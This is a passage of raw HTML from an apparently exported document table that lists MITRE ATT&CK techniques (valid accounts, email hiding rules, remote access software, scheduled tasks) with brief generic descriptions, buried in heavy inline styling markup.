-webkit-nbsp-mode: normal !important;">in order to</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="10" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="326745179" paraeid="{1f201427-d329-4021-a653-76aacc794137}{70}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="543924531" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{184}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1078 Valid Accounts&#xA0;&#xA0;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1544804198" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{191}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may obtain and abuse credentials of existing accounts to access systems within the network and execute their payload.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="11" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1405097291" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{199}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence (TA0003)</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="184400374" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{206}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1564.008 Hide Artifacts: Email Hiding Rules</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1121178222" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{213}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" data-ccp-charstyle-defn="{&quot;ObjectId&quot;:&quot;ac0262f4-8a9e-5820-b908-2d943c5f7113|1&quot;,&quot;ClassId&quot;:1073872969,&quot;Properties&quot;:[201342446,&quot;1&quot;,201342447,&quot;5&quot;,201342448,&quot;1&quot;,201342449,&quot;1&quot;,469777841,&quot;Aptos&quot;,469777842,&quot;&quot;,469777843,&quot;Aptos&quot;,469777844,&quot;Aptos&quot;,201341986,&quot;1&quot;,469769226,&quot;Aptos&quot;,268442635,&quot;24&quot;,469775450,&quot;normaltextrun&quot;,201340122,&quot;1&quot;,134233614,&quot;true&quot;,469778129,&quot;normaltextrun&quot;,335572020,&quot;1&quot;,469778324,&quot;Default Paragraph Font&quot;]}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use email rules to hide inbound emails in a compromised user&apos;s mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or </span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">deleting</span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> emails.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="12" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="2000787185" paraeid="{1003f9a6-fe20-49bf-b5e6-04eb2aa1b0d4}{130}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1912437474" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{222}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1663 Remote Access Software</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="610275849" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{229}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use legitimate remote access software, such as VNC, TeamViewer, </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">AirDroid</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">AirMirror</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, etc., to </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">establish</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> an interactive command and control channel to target mobile devices.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="13" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1791482146" paraeid="{1003f9a6-fe20-49bf-b5e6-04eb2aa1b0d4}{133}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1676473624" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{246}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1053 Scheduled Task/Job&#xA0;&#xA0;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="344166293" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{253}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may abuse task scheduling functionality to </span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">facilitate</span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> initial or recurring execution of malicious code.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="14" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1087245016" paraeid="{1003f9a6-fe20-49bf-b5e6-04eb2aa1b0d4}{136}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; 